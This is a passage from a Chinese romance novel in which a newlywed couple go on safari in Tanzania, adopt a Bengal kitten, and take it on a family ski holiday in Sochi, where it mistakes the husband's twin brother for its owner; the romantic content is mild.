角马浑身呈灰黑色,头角部分颜色最深,背脊略微发白,极大一群聚集在一起,变成黑压压的一片,在浅碧深绿的草原上像一笔横穿泥河的浓墨。 “河里有鳄鱼。” 宋郁抬手,指了一个方向给她看。 鳄鱼潜伏在河水中,泥灰色的外表让它与河水泥滩几乎融为一体,一只角马跑的位置偏了,被鳄鱼咬住后肢,拖入河水中撕扯。 自然是壮阔的,自然也是残酷的。 燕棠坐在车窗边,看着这一幕陷入沉思。 “如果你不喜欢,我们可以先离开。”宋郁侧过头,见她看着窗外走神,抬手屈指,轻轻碰了碰她的脸颊。燕棠摇摇头,若有所思地说:“我只是在想,昨天你说的话是有道理的。” “什么话?”宋郁仔细思索了一下昨天他说过什么话,然后有些惊讶地问:“你是怎么从这个场面联想到公狮子求欢的?” “不是求欢!是生命的意义!” 燕棠纠正。 车在河边空地处停留,大约十几分钟过后,角马群便完成渡河,朝对岸的草原头也不回地奔去。 回到酒店时是傍晚,两人在露天酒吧的小帐篷坐下,侍应生端来两杯调制的鸡尾酒,还送了两小杯猴面包树果汁。 草原的落日极为壮阔,漫天遍野都是金黄色的,太阳被云层模糊成一道虚影,就连草原都染上了金调。 酒店夜晚的活动丰富,有露天烤肉和水果供应,在草坪上摆放着移动酒柜,还有当地的马赛族人穿着民族服饰唱歌跳舞。 燕棠坐在椅子上欣赏落日,跟身边的男人闲聊: “刚才看角马被鳄鱼吃,会觉得角马可怜。可想到鳄鱼也只是为了生存,我忽然又意识到这件事情本身不存在对错………” 一顿话说完,燕棠收回目光,才发现一旁的宋郁姿态闲散地靠在椅背上,正看着她,脸上带着笑。 “没想到你还是个哲学家。”他笑着说。 宋郁总是喜欢说好话,燕棠几乎已经免疫。 他见她懒得理会,又解释自己的想法: “世界上很多事情本来就不存在对错,食欲性.欲生存欲。是人类把这些事变得复杂,我上学的时候,总是学这个主义,那个主义……所以我喜欢和你过单纯的生活。”燕棠偶尔会意识到,其实宋郁在过去除了训练和比赛之外,还踏踏实实地上了四年的名校。他有聪明的头脑,也不乏学识和见识,除开有些时候故意讲歪理外,他其实对这个世界有许多透彻的理解。 燕棠转过头,凝视着这张让她百看不厌的脸蛋。 宋郁与她对视片刻,微微一笑:“你看上去好像很想跟我接吻。” 哪怕这小子昨天半夜还对着她在做坏事,但此刻两人衣着完好地坐在一起观景,却让燕棠感觉到一股难言的暧昧。她感觉到自己的脸颊在发烫,心脏也跳得有点儿快。 这也得怪宋郁这笑里带着调情的意思。 只不过这突如其来的氛围被另一队客人打破,那群中国留学生们去草原上观光回来,也来参加晚上的露天活动。 在异国遇到同乡人,大家自然多了几分亲近,这晚燕棠和宋郁跟他们坐在一起聊天喝酒。 “你们谁的酒量好?”一位叫吴游的男生问。 宋郁用中文说:“我不喝酒。” 他还保持着不少训练时留下来的好习惯,不喝酒不抽烟,相当讲究饮食,每天都要保持运动量。反倒是燕棠能喝几杯。 坐在一起聊了一会儿,几个留学生就好奇问她是怎么和她老公认识的,燕棠说是给他当过家教老师。 “哇——”大家睁大了眼睛。 “但关系变化是在那之后。”燕棠立刻解释。 “他那时候脸上还有一点儿婴儿肥,掐他脸蛋的时候或者摸他鼻尖的时候手感很好……”她喝得多了,神经在酒精刺激下变得活跃,话也稍微多了一点儿,还伸手给大家展示。 而宋郁不插嘴,也不劝她少喝点儿,等燕棠转过头去,猝不及防对上他含笑的目光,心里又是猛地一跳。 新婚给两个人带来一种别样的新鲜感。 明明已经拥有了彼此,却仍然在某个时刻被对方再次吸引。这种充满诱惑的吸引力,和已婚的既定事实糅合在一起,会变成一种奇妙的、令人心脏鼓胀的冲动。燕棠今天穿着一身简单的白色长裙,夜晚活动结束,她牵着她的丈夫,头顶漫天星子,沿着酒店内长长的木头走廊朝他们的套房走去。 路过石块垒起的小坡,路过灌木丛和被风吹得微微摇晃的路灯。打开门,脱鞋进入室内,赤脚踩在绵软厚重的地毯上。 宋郁把她拦腰抱起,有力的双手托着她的臀部,让她面对面和他拥抱,又能居高临下地俯视他。他仰起脸,长睫掀起,又露出一个笑来,“你今天有好几次都在看着我发呆,你在想什么?” 燕棠忍不住伸手抚摸他的脸颊,“你不是猜到了吗?” “你想和我接吻。” “对,我想和你接吻。”她感觉自己脸颊因为酒意再次变热了。 “想了多少次?”“数不清了。”燕棠诚实回答。 从套房门口到卧室还有一段不短的距离。 两人相拥接吻,往卧室里挪去。衣服散落一地,白裙子和黑T恤交叠在一起。 燕棠在非洲大草原上货真价实地骑了一次熊。 旅行就是看风景和享受服务,他们在坦桑尼亚停留了好些天,看过了野生动物,去当地马赛部落游览一番,随后乘小飞机去了乞力马扎罗山。 在乞力马扎罗的保护区内,他们碰见象群和白鸥在草原上徘徊,最远处的乞力马扎罗山变成像梦境一般的蓝白色调。 在最广阔的地方停留,会使自己变得极其渺小。当人意识到自己足够渺小,就会向内寻求意义和支点。燕棠在这里带上洁白的头纱,和宋郁一起拍了张照,作为这次结婚旅行的象征性留念,纪念他们找到了新的意义和支点。 两人一路走走停停,在八月中旬时回到了北京。 回到城市生活的第二天,宋郁一大早就联系了保姆去采购食材做饭。“红菜汤……家里的鱼子酱也没了。”他强调,“再去使馆区那边买点儿腌西瓜。” 这位少爷毕竟是在俄罗斯长大的,虽然旅游途中一路都是挑最贵的酒店住,吃喝半点儿没有委屈,但等行程将近结束的时候,他已经对北京和莫斯科同时充满了思念。但燕棠觉得他的思乡之情被触发,还是因为在旅行前期,两人已经迅速用完了带去的套。 “这次虽然玩得很开心,但是没能摸到豹子和狮子。”宋郁坐在沙发上挑照片,看到镜头里那对和他们萍水相逢的狮子夫妻,心里稍稍有些遗憾。 其实他们在塞伦盖蒂时曾去过一个动物保育园区,里面有几头比较温和的豹子和狮子,保育员说视它们的状态而定,也许可以在他们参访时进行适当的互动。 宋郁很感兴趣,但最后这件事被燕棠以“我不想那么早当寡妇”为由坚定地否决掉了。 “你还有很多机会看到豹子,我听说北京这里的野生动物园也有小豹子可以看。” 燕棠安慰他。 正巧这时,门铃响了。 她看了眼手机微信消息,随后忽然露出一个笑,对宋郁说:“你去开门,也许是保姆来了。” 说罢,她跟在宋郁后头往门口走去。 门一打开,外头站着位陌生的中年男人,问:“请问是燕女士的家吗?”“你是哪位?”他用中文问。“我是来送小朋友的。”男人笑着说。 宋郁一怔,便见这男人从身后拿出一个航空箱。 航空箱的铁质栏杆后,正缩着一团毛绒绒的豹纹小猫。 它有一双带着金调的绿色猫瞳,此刻正揣着手趴在笼子中,歪头盯着宋郁看。 目光认真,十分专注地打量自己的新爹。 69、日常篇... 宋郁也盯着航空箱内的小东西看。 双方眼睛几乎是一模一样的瞳色,一人一猫大眼瞪小眼。 “这是送来我们家的?”他还有些不敢相信。 燕棠走到门前,从男人手里接过航空箱,笑着说:"喜欢吗?" 自从结婚之后,宋郁的黏人程度指数级上升。 他的公司已经设立好,自己当顶头话事人,要做的就是拉资源、找业务,具体的项目操作都给下面的做,一个月里有半个月工作,剩下半个月在家当留守丈夫。 燕棠想给他一个惊喜,老早就开始联系猫舍,想要接一个合眼缘的小朋友回家。 这会儿宋郁终于反应过来,眼里是藏不住的高兴。 送猫的男人把疫苗证、血统证、小猫最新的体检报告和购买合同交给他们,照常规检查了一遍家中的封窗情况,最后交代完一些注意事项后就离开了。 大门关上,宋郁把放在桌上的航空箱打开,伸手去抱里面的缩成一团的小猫。 这只小猫只有五个月大,雪豹色,白底棕纹,体型修长。它的脸蛋却很甜美,眼睛又圆又大,全包眼线,嘴套饱满,鼻子宽大。 “它的眼睛和你的几乎一模一样,神态也和你很像,我当时一眼就看中了它。我以为是个女孩儿,没想到是个男孩子。”燕棠笑着说。 五个月大的豹猫体型已经不算特别小,但宋郁个头高大,他双手托着小猫腋下将它抱起来时,像是在拎一个毛绒绒的小玩具。 "以后你就是我们家的孩子了。" 他高兴地和小猫对视,说的是俄语,像是一只大猫在对小猫进行温柔的交流。 可这只小猫并不领情,它在和宋郁对上视线的那一秒立刻露出飞机耳,迅速蜷起身体,卷起尾巴,尽量缩小自己的存在感。 燕棠原本还在围观他俩互动,忽然发觉不对,“它是不是在发抖?”她连忙伸手从宋郁手中接过猫——这小东西果然在发抖。 在被燕棠接到手中的那一秒,它立刻头也不回地往她怀里躲,将脸埋在她的手臂里。宋郁恋恋不舍地看着她怀里小猫,“我刚才明明很温柔……”“你对它来说体型太大了,它有些怕你,需要时间适应。”燕棠猜到了原因,轻轻抚摸小猫的背脊。别说是这么丁点儿大的小猫了,当年她第一次坐在宋郁身边的时候,都因为他身上那股因为体型和气质天然带来的压迫感而生出本能的紧张。她将小猫送进书房里熟悉环境。这里的推门是玻璃门,既能让小猫有自己的空间,也可以让它能够观察家里的情况。宋郁实在是太想碰碰它了,在燕棠关上玻璃门的那一刻,他就半蹲在门口,认真地对玻璃门后警惕观察的小猫说:“我不会吃你的。”“但你现在的姿势对它来说跟狮子捕猎没什么区别。”燕棠好心提醒他。宋郁见小猫缩在角落里,还是十分紧张的样子,只好遗憾地回到客厅。等燕棠刚刚走过来在他身边坐下,准备给猫舍老板发几张照片的时候,忽然被他拉进怀里紧紧抱住。“谢谢你,我很喜欢它。”宋郁一连亲了她好几口,用鼻尖蹭着她的脸颊。燕棠被他弄得皮肤泛痒,笑着用双手抵住他胸膛,微微拉开两人的距离。"那你会和我一起好好照顾它吗?"“当然了。”“那我们要说好,你不能欺负它,过分地逗它…”燕棠开始列举她从宋郁外祖父母那里听来的罪状。说到最后,她抬眼盯着她的老公,认真说:“最重要的是,你不能乱咬它。”“我又不是十几岁,咬它干什么?”宋郁纠正她的观念,笑了一声。“我现在只在床上咬你啊。”这即将跑偏的话题止于保姆带着食材和装着小猫用品的快递到家。由于小猫有一身漂亮的雪豹纹,他们给它取名叫cHekMHka,是小雪花的意思。但这个名字念起来太长,没过半天就被简化成了kaka。出乎他们意料的是,kaka的适应能力非常强。在摆脱了最初对陌生环境的紧张后,这个小东西一直坐在玻璃门后观察,当有人路过走廊,它那双圆溜溜的眼睛就会专注地注视来人,视线跟着人走。下午的时候,kaka先认了妈。当燕棠进入书房给它喂罐头时,它开始亲昵又谄媚地往她身上贴。而家里另一位大型动物宋郁只能倚在门外,看着新来的儿子疯狂地蹭他的老婆。人和小猫说话时总会不自觉地放软声音,燕棠也不例外。玻璃门并不能将声音遮蔽,于是宋郁听见她用温温柔柔、软软绵绵的语调叫着小猫名字,像是在哄一个小宝宝。而那只皮毛光滑的漂亮小猫就趴在燕棠的怀里,一脸认真地看她开罐头、拿冻干。宋郁凝视着这温馨的一幕,忽然走神一秒。——她似乎从来没用这种腔调跟他说过话。但好在他并没有等待多久。也许是燕棠身上带着他的气味,小猫在熟悉妈妈的同时,似乎也很快接受家里另一位家长的存在。这天晚上,当小猫尝试着从书房里走出来,在新家巡逻一圈后,它开始悄悄往卧室里跑去,随后端坐在床边的地毯上,歪头看向靠坐在床头的男人。它听见他轻声念了几次“kaka”,又拍了拍他身边空出的位置。经过几秒钟的思考,kaka一跃而上来到了宋郁身边,并小心伸出一只爪子踩在他胸口,伸出脑袋凑到他面前。宋郁伸手轻轻抚摸它的背脊,随后低头轻轻亲一口它的额头。这是个友好的信号,kaka细细嗅着他的气味,随后和他碰了碰鼻尖。认爹完毕。小猫开始放松地和宋郁交流,并且很快察觉到他的胸口趴上去,自己找了个舒服的姿势,在宋郁的胸口上盘成一团,只有尾巴在调皮地甩来甩去。灯光昏黄,卧室里一片安静,显得小猫的呼噜声像马达似的响亮。燕棠从浴室里洗澡出来,恰好看见这一幕。高大的男人姿态闲适地躺在床上,胸口趴着一团毛绒绒的小东西,当他伸手去抚摸胸口的那一团的时候,单手就几乎可以覆盖它的身体。宋郁见她过来了,眉眼一弯,露出个有些孩子气的笑:“它喜欢我。”他又把kaka转了一个圈,让它转向燕棠,说:“妈妈来了。”kaka轻轻一跳走到床尾,鼻子嗅了两下,随后开始亲昵地蹭她。燕棠很难描述自己看到这一幕时的心情。她将kaka抱在怀里,小猫光滑的毛发和柔软的身体总是令人心里升起无限柔情。这一晚,kaka是和他们一起睡的,就睡在两人的枕头之间。它不像MapKM3那样充满野性,除了更为甜美的外表之外,性格也更娇气黏人。和MapKM3相似的是,这个小朋友也精力过剩,每天都会叼着逗猫棒找人陪玩。不仅如此,kaka还莫名其妙地继承了宋郁的一些爱好——到家一周后,它开始偷偷把燕棠的发圈藏到它的秘密角落里。这项罪行是被保姆发现的,当时燕棠正紧急去莫斯科出差谈项目,宋郁留守在家。他就这件事进了严肃的亲子教育:“你偷走了妈妈的东西,爸爸就没有了。”宋郁还把当事猫和罪证一起拍了合照,给燕棠发过去告状。收到照片时,燕棠正在登机准备回北京。看见照片里kaka露出和宋郁一样无辜又可爱的表情时,她回复消息夸赞:「kaka真厉害,都懂得藏东西了。」那边的宋郁几乎是秒回消息:「你发现我私藏发圈的时候,可不是这么说的。」「小熊问号jpg」——发现宋郁私拿发圈这件事,完全是一次意外。为了健康生活,燕棠曾经向他提出过一周应该有至少三天要休养生息,进行可持续发展。但恰巧那一周公司新项目推进到关键节点,她连续三四天在公司盯进度,回家倒头就睡,宋郁知道她忙,对此也没有怨言,每天乖乖地抱着她睡觉。直到有天晚上,当燕棠再一次梦见自己在骑熊的时候,她睁开眼,转过头。床头灯昏暗,照着身边男人性感起伏的腹肌。她看见自己新买的真丝发圈正套在——“我太想你了。”宋郁保证这个情况并没有发生太多次,因为自从结婚之后他一般都会拿睡裙。但燕棠最近新买的发圈款式让他想起了自己十八岁的时候……"十八岁的时候?!"燕棠不敢置信。她这才想起当年自己曾经被宋郁索要过发圈。那时候,她还只是个对感情的理解不超出“暗恋”和“相亲”这两个范围的女孩子,而宋郁在她眼里则是个令人捉摸不定,又实在惹人喜欢的公子哥儿。所以燕棠真的以为,宋郁拿走她的发圈,顶多是开个玩笑逗弄她罢了。莫斯科飞北京的飞机在傍晚六点落地,燕棠来到机场的停车场,就看见宋郁靠在黑色轿车边看手机。他有所感应般抬头,立刻注意到了她,快步走过来接过她手中的行李,揽着她往车的方向走去。“家里准备了你喜欢吃的饭菜,kaka也很想你……”两人一回到家,原本在卧室睡觉的小猫便像匹小马似的冲出来,燕棠弯腰将它抱起来亲了好几口。 一旁的宋郁将猫抱走,伺候燕棠吃饭,回卧室洗澡。 在踏进卧室的后一秒,当小猫正准备跟在他们身后溜进去时,宋郁眼疾手快地关上了门。 “今晚我想过二人世界。”他跟着燕棠一起进了浴室,帮她脱衣服,低头亲吻她的脸颊。“你不能对它太偏心了。”燕棠透过浴室的镜子和他对视,笑着问:“你还在惦记发圈的事情?你们的玩法可不一样,你一点儿都不冤。”“不仅是这个。”宋郁低头一路亲到她肩头。“你从来没有用跟kaka说话那样的语调叫过我……今晚可以试试吗?” 70、日常篇 浴室里灯光明亮,镜面明净,映照着这位混血帅哥的美貌。 虽然奔波一天难免疲惫,但美色当前,燕棠说不动心肯定是假的。 小别胜新婚。 这一个月里,她忙工作、生理期、去莫斯科出差,仔细算下来,两个人其实已经很久没有深入交流。这会儿一起亲亲碰碰,别说是胜新婚了,就跟当年第一次亲密接触似的。 洗过澡后,燕棠直接被宋郁抱起抵在门上。两人身上都还带着湿热的水汽,发丝滴着水,肌肤都黏在了一起。 宋郁低下头,与她额头相抵,鼻尖轻蹭着她的鼻尖,一触即分,若即若离,要跟她调情。 今晚宋郁别有目的,这会儿燕棠凑上去主动接吻,他笑着跟她 亲一口,又坏心眼地拉开距离,直到她双臂环抱着 他的脖颈,用呼唤小猫那样的 语调叫他的名字。"Kirill…" 这声音就像一句情话,让宋郁听得心热。他伸手抵在燕棠的后背和房门之间,免得她被坚硬的门板磨伤皮肤。 虽然保护措施做得好,力道却半点没收。燕棠这回真是嗓子都哑了。 结束之后,宋郁打开门准备出去拿杯水,忽然发现门口蹲着一只豹纹小猫——kaka就蹲在门口,等着他们过完二人世界。还没等宋郁走出门,kaka先动了。它从门缝里冲进来,像爬树似的从他裤腿往上窜。然后哐哐两巴掌就往他脑袋上招呼。 "CHexKMHKa!"宋郁叫了小猫的大名,把它从自己身上撕下来,一脸莫名其妙。但kaka现在已经不怕他了。小猫能够聪明地意识到这个房子里谁是真正的话事人,两条后腿像兔子一样蹬着宋郁的胸口,在他松手的瞬间迅速翻身,奔向床上,蹲在燕棠身边。 燕棠围观了整个过程,意识到了什么,陷入沉默。 见宋郁还在用眼神跟kaka对峙,她吞吞吐吐地开口:“有可能——” "‘有可能’什么?" “有可能是它以为你刚才在欺负我。”燕棠委婉地说。 回想一下,刚才门板一直在咣咣响,而宋郁非要听她的声音,再加上两人体型对比。——这个动静在小猫眼里完全成为了一种残酷的家庭霸凌。 不过kaka对宋郁还是有感情的,所以它刚才没有伸出利爪,纯粹是肉垫拍脸。杀伤性极低,充满教育意味。 宋郁认为自己对kaka极尽爱护,每天亲亲抱抱一点儿都不少,而燕棠工作忙碌,大多数时候也是他陪伴kaka玩耍。kaka这一举动虽然事出有因,但还是让他感到有一些伤心。 这个伤心并没有持续多久。 在一周后,当两人再次在床上进行夫妻团建的时候,他们忘记锁门了。 这次是燕棠骑在宋郁身上。他很喜欢这个姿势,所以哼了好几声,声音性感又好听,让她心跳加速。 没人知道小猫偷偷开门之后在角落里观察了多久,但kaka这回的审判结果是燕棠在欺负宋郁。 所以等这场战事结束的时候,燕棠也荣幸地挨了两巴掌。 在此之后,两人终于发现,其实kaka并不是偏心谁。它只是心中充满了正义感,努力地维护这个家的和谐和幸福。 养猫在某种意义上非常像养孩子,小猫能够辨认自己的名字,有自己的性格和喜好,会高兴会伤心,会期待会失望。 kaka是个性格非常鲜明的小猫,它喜欢不同口味的罐头换着吃,睡觉一定要睡在燕棠和宋郁的中间,下午三点时固定要找爸爸妈妈玩球。如果它找人类玩耍的时候没有得到及时回应,它就会自己躲 到角落里生闷气。但如果这时候将它抱到怀里,kaka又会很快地高兴起来。 临近过年的时候,无论是燕棠和宋郁都变得非常忙碌,几乎每天都在各自的公司开会,只能留保姆在家里陪猫。 燕棠在下午四点开完会,回到办公室往窗外一看,发现下雪了。盐粒般的雪点从天上落下,把棕黑色的枯树枝装点上明亮的色泽,办公室门外也有员工在惊叹。 她拍了张照给宋郁,随后打开监控app。现在家里一共放了三个摄像头,以便他们在外工作的时候能看见kaka的情况。 监控画面加载出来,她恰好能看见kaka在沙发上睡觉。它已经满一岁了,相比刚到家的时候体格大了不少,在沙发上摊开肚皮,睡得很熟。 燕棠按下麦克风按钮,喊了声“kaka”,那头的小猫立刻睁眼,跳下沙发循声来到摄像头前,用鼻子边蹭边嗅。 她又喊了kaka几声,随后听见小猫冲摄像头发出“嗯嗯嗯”的声音。 小猫不能理解机器里为什么会发出妈妈的声音,它可能以为妈妈还在家里,于是叼着逗猫棒开始在家里到处找人,还以为燕棠在跟它玩捉迷藏。 燕棠接下来还有两场会,看见小猫到处找人的样子,心已经彻底飞回了家里。她恋恋不舍地退出画面,才发现一起共享监控账户的宋郁在十分钟前已经来看过一次。 这时,她的微信收到一条消息。 甜熊:「不想工作,想回家。」 这晚谁也没加班。回到家吃过饭后,他们一起带kaka在小区里遛弯。 kaka精力旺盛,外向活泼,到家一个月后,开始接受社会化的训练,慢慢适应了在牵绳的情况下随人在外出行的活动。 小区里有一片绿化花园,其中分布着蜿蜒曲折的小道,路灯静立在树旁,灯光将深沉的夜色驱散,雪花纷纷扬扬从天空落下。 落在燕棠的黑发上,落在宋郁的肩上,落在小猫的鼻尖。 这是kaka这辈子第一次看见雪,它一出门就睁大了眼睛,仰头看天,四处闻嗅,还舔了口落在鼻尖的雪花。 "小猫CHeKMHKa第一次看见真的CHexKMHKa。" 宋郁笑着说。 他手里牵着绳头,另一端系在kaka身上,小猫迫不及待往前跑,把绳子绷得老紧。 燕棠凝视着kaka在前方轻快走动的身影,出神片刻,随后低下头,忽然轻声开口:“我听说豹猫的寿命一般在12年到15年。” 听她说起这个,宋郁微微一怔,侧过脸看向她,没吱声。 燕棠仰头。 路灯稀薄的白光落在他脸上,勾着那张俊秀脸庞的轮廓。 “虽然我们才刚刚拥有kaka,但想到它也许只能看十五次落雪,我心里就觉得很难过。”她这么说。宋郁牵住她的手,也沉默了半晌,才说:“但至少那个时候,我们会一直共同照顾它到最后一刻。它会过上很幸福的一生。”这话让燕棠突如其来的感怀稍微变得好受了一些。 随着年纪渐长,她逐渐对一些事情变得更加敏感,譬如父母在老去,譬如对身体健康的关注已经超越对财富的追逐。但只要燕棠想到,这些生老病死的时刻有宋郁在身边,她就又有了不少勇气。 在路灯照射下,两人挨在一起的影子在地面拉得很长。燕棠感觉到宋郁握住她的手微微收紧,温暖而有力。 温馨的时刻仅仅持续了十分钟。 雪渐渐下大,kaka已经玩得尽兴。大概是脚踩在地面很冷,它突然折返回来,动作敏捷地顺着宋郁的裤腿,又像爬树似地往上一路爬到他肩头。被雪地冻得冰冷的肉垫直接往亲爹脖子里踩,三秒钟内给宋郁的白色衣裤上添了几道完美的泥水爪印。 宋郁面无表情地转过头,一双剔透的瞳孔和小猫的金绿色眸子对视片刻。 kaka一脸无辜地看着他,恰巧有一大片雪花落在它鼻尖。它打了个小小的喷嚏。 宋郁单手把kaka抱进怀里给它取暖,忽然笑了一声,对燕棠说:“它玩累了,今晚肯定不会来打扰我们。” ——当kaka适应了户外活动后,他们就打算带着kaka在过年的时候一起度假。 宋郁父母安排了过年的时候进行家庭聚会,一家人同起去索契滑雪。 在出发之前,两人先是回了一趟南市,陪燕棠父母过了除夕 和大年初一,随后带着kaka坐飞机抵达莫斯科,一大家子一起坐私人飞机抵达索契的雪场附近。 在山脉中的度假区内,有专门供度假家庭居住的别墅,周围森林环绕,直通雪道,远看像是坐落在山谷中的一处典雅的山庄。 抵达时恰好是傍晚,冬季夕阳落在延绵的雪山上,度假区的房屋和路灯变成一片细碎分散的金色。加上燕棠,现在已经是一家五口人,随行的还有司机和保姆。 娜斯佳和宋裕川在这晚要去见老朋友,宋郁索性就带着燕棠在度假村里逛一逛。宋璟好不容易休假,懒得参与这两对夫妻中任何一方的活动,就待在 家里看书,让保姆做饭。 见亲哥在家守门,宋郁便把儿子kaka交给他暂时照顾,带着老婆出门享受二人世界。 “它虽然很友好,但不会迅速接纳陌生人,你让它自己玩儿就行。”出门前,宋郁这么对宋璟说。 这是kaka第一次出远门,不过它已经习惯了出门玩,从上飞机到现在抵达别墅,一路上也都跟在爸爸妈妈身边,它并没有感到惊慌。 它在房间里吃了点儿罐头,沿着走廊来到客厅,发现这里十分安静,只有一个男人正坐在长沙发一侧看书。 kaka灵巧地跳上餐桌,又跳到一旁的单人沙发上,观察了这个男人一会儿。 宋璟注意到小猫的动静,目光从书本上移开,和kaka对视几秒。他没有养过猫,跟外祖父母家那只大猫的交流也非常少,所以他并不是很清楚kaka盯着他看是什么意思。 ——也许是到新环境里比较紧张。 宋璟放下书,注意到手边恰好放着宋郁换下的外套,于是他拍了拍这件衣服,叫了声小猫的名字,示意它可以坐过来闻闻熟悉的气息。小猫明白这是在呼唤它,但它并没有立刻行动。 ——这个男人的声音让它感到很熟悉。 声线清朗,很像宋郁的声音,但语气沉稳平和,又和它记忆中的轻快语调并不相像。 但它还是过去了。 一跳上沙发,kaka闻到了宋郁的气味。 小猫能大致记住人类的长相,所以它能认出爸爸妈妈的模样,不过小猫是近视眼,直到这时kaka才看清了这个男人的面容。——和宋郁长得一样。 气味认证完毕。外貌认证完毕。声音……勉强认证完毕。 它踏上宋璟的胸口,开始像往常那样舒服地踩奶。——脚感也是差不多的。 kaka认定面前这个是亲爹。 71、日常篇... 度假区内有酒吧、咖啡厅、礼品店和许多滑雪用品销售商店,街道之间竖着围栏,中间是一条从雪山深处流淌出来的河流,两侧堆积着厚重的白雪。一入夜,灯光璀璨,静谧而温馨。 “我们不能太晚回去,kaka会想我们。”宋郁说。 虽然宋郁偶尔会因为燕棠对kaka的喜爱而佯装吃醋,但每次两个人出门,反倒是他最先开始想念起家里的留守儿童。 燕棠自然没意见,两人在蛋糕店里买了几块低糖酸酪蛋糕就往回走。 到别墅门口时是晚上九点,门关处距离客厅有一条不算长的走廊,一扇雕花玻璃门半开着,里面静悄悄的,没有人声,大概是娜斯佳和宋裕川都还没回来。燕棠先往里走,听见身后在放大衣的宋郁问:"kaka在哪儿?" 穿过玻璃门,她往里一瞧—— 深色调的客厅里,铜制吊灯静谧地亮着,沙发边的壁炉燃着温暖的火焰。宋璟就坐在沙发处看书,薄针织衫休闲裤,黑发不像平时那样梳在脑后,反而有碎发落在额前,气质比平常严肃冷淡的感觉放松许多。 注意到走廊的动静,他放下书,转头看过来,语气淡淡:“回来了啊。” 等他把书放下,燕棠看清了他怀里的情况。 那里正趴着一只雪豹纹小猫,刚才估计是睡着了,这会儿刚被声音吵醒,慢吞吞从宋璟怀里站起来,爪子自觉搭在他胸口。开始缓慢地踩。 不仅如此,kaka—边踩,还一边用脑袋蹭宋璟的脖颈和下巴,蹭完还凑上去嗅一嗅舔一口。 ——跟它趴在宋郁怀里时的习惯一模一样。 燕棠陷入了沉默。 正当她思考要不要先走过去把猫抱起来,免得身后那位看见又开始难过的时候,她身后已经响起了宋郁的声音。 "kaka?" 语气里充满不敢置信。 听见这声音,kaka踩奶的动作迟疑了一秒。 小猫听声辨位,听得出那道声音不是面前的男人发出来的。这道呼唤它的声音同样清朗好听、语气要更符合它记忆中的特点。 它微微歪头,视线穿过宋璟肩头,往走廊处看去——小猫的视力不足以让它看清楚那里站着的人。 所以kaka决定不理会,收回目光继续认真地踩奶。 它和面前的男人相处久了,发现他身上的气味和以前稍有不同,比如身上没有妈妈的味道,但是他手边的外套就是它以前常常当被子的那一件,所以它没有多作他想。 小猫喜欢壁炉的温度,也喜欢身上男人安静沉稳的气质。平日里,它虽然很喜欢和宋郁亲亲贴贴,但有时候老是被他摸肚子,它睡不好觉。今天它睡得很好。 kaka一边踩奶,一边发出幸福的呼噜声。室内很安静,三个人都把这呼噜声听得清清楚楚。 不过出门三个小时而已,宋郁没想到这小东西这么快就叛变了——它当初明明花了整整一天的时间来习惯他。 “CHeKMHKa。”宋郁叫了小猫的大名。 kaka的动作再次迟疑一秒,扭头看向宋郁的方向,不明白那边为什么会冒出熟悉的声音。 宋璟看见它脸上露出有些迷惑的表情,笑了一声,“CHexKMHKa,你爸爸回来了。”他屈指轻蹭小猫的鼻头,小猫立刻高兴地贴上来向他表达喜爱,还凑到他鼻尖处轻轻舔了一口作为回礼。 宋郁哪里还看得下去,走到沙发边挨着亲哥坐下,低头凑近小猫,认真问:"CHeKMHKa同志,你是怎么回事?" 现在,两个人都坐在猫身边。 小猫对颜色的辨识能力和人类也不一样,所以在kaka眼里,这两个人的长相并没有任何区别。但新来的这个身上有妈妈的气味。 kaka抬头,左看看右看看,陷入茫然。燕棠看不下去了,终于开口叫了声:"kaka。" 小猫迅速认出了这道的声音,尾巴翘得高高的,头也不回地朝燕棠跑过去。——它只是一只小猫咪而已,哪能分辨两个那么相似的人类有什么区别。 燕棠抱起小猫往二楼走,一回到卧室,就严肃地跟它说:“你不能有奶就是爹。” “它肯定是认错人了。”宋郁很快也回到卧室,得出结论。 这在家里是大罪。 所以这一晚,kaka几乎被宋郁抱在怀里睡了一整晚,它在第二天终于能分辨宋郁和宋璟的区别。反正谁跟燕棠睡,谁肯定就是它亲爹。 不过kaka还是很喜欢宋璟,在吃早餐的时候听到宋璟叫它的名字,它也会迈着小碎步跑过去跟他打招呼。 宋璟送给它早就准备好的小长命锁当做过年礼物。 而宋郁看在亲哥给自家小孩送礼物的份上,主动同意第一天让父母和亲哥先去玩,他和燕棠就在雪场的咖啡厅里等待。——这个规矩也是燕棠刚刚得知的。 滑雪是有风险的活动,但这一家子都喜欢滑雪,只好分散风险,确保一家人不同时上雪场。 而娜斯佳和宋裕川近五十岁,正是身强体壮的好时候,夫妻俩直接上了坡度最大的雪道,宋璟更是不用说,从小被爹妈带去各种雪场玩儿,早就熟练至极。 咖啡厅被装修成小木屋的样子,燕棠坐在落地玻璃窗边喝咖啡,透过窗户恰好能看见雪道终点处的雪丘上飞过去一个人。 “那是我爸爸。”宋郁说。 接下来又咻地飞过去一道粉色的身影。 “那是我妈妈。”他又说。 没过多久,又飞过去一个黑衣男人。 燕棠这回知道那是谁了,问宋郁:“你们一家都玩儿那么猛,你在这里陪我喝咖啡会不会太无聊了?” “不会,一个人滑有什么意思。”宋郁往后一靠,伸出手臂随意搭在她的椅背上,随口说:"之后还有很多要玩儿的,要留着点儿力气。" 没过多久,咖啡厅的玻璃门被推动,是穿着黑色雪服的宋璟回来了。他摘下护目镜,坐在宋郁对面,因在雪地里走了一遭,本来就白皙的皮肤被冷空气冻得更加冷白。 宋郁给他点了杯热咖啡,问:“你今天玩儿那么狠,明天还有力气比赛吗?” “你说呢?”宋璟脱下手套,不疾不徐地喝了口热咖啡。 燕棠只知道这几天的行程,却没听过有什么比赛。这是恰好娜斯佳和宋裕川回来了,两人在桌边坐下,听燕棠问起所谓的“比赛”,立刻笑了起来。 “这是我们家的传统项目,他们两兄弟小时候自己说好要玩儿的。”娜斯佳笑眯眯地说。 比赛内容是骑雪地摩托。 赌注是如果宋璟赢了,kaka要陪他睡一晚上。如果宋郁赢了,他就包kaka—整年的猫粮和零食。 提起这个比赛,宋郁期待地问燕棠想不想坐在他的摩托后座,燕棠觉得有意思,毫不犹豫地点头答应。 高加索山脉的地形整体比较陡峭,多数地方不适合骑雪地摩托,但在度假区后方的一处森林中开辟了观光地,有一片面积极大的缓坡供爱好者骑摩托观光。 针叶林环绕在场地周围,墨绿的枝头覆着层层白雪。第二天近中午的时候,一行人出发抵达场地。 停在出发地的雪地摩托造型很酷,车身全黑,线条凌厉。燕棠戴上头盔刚一转身,便看见两架摩托上各坐着位穿着深色防寒服的男人。 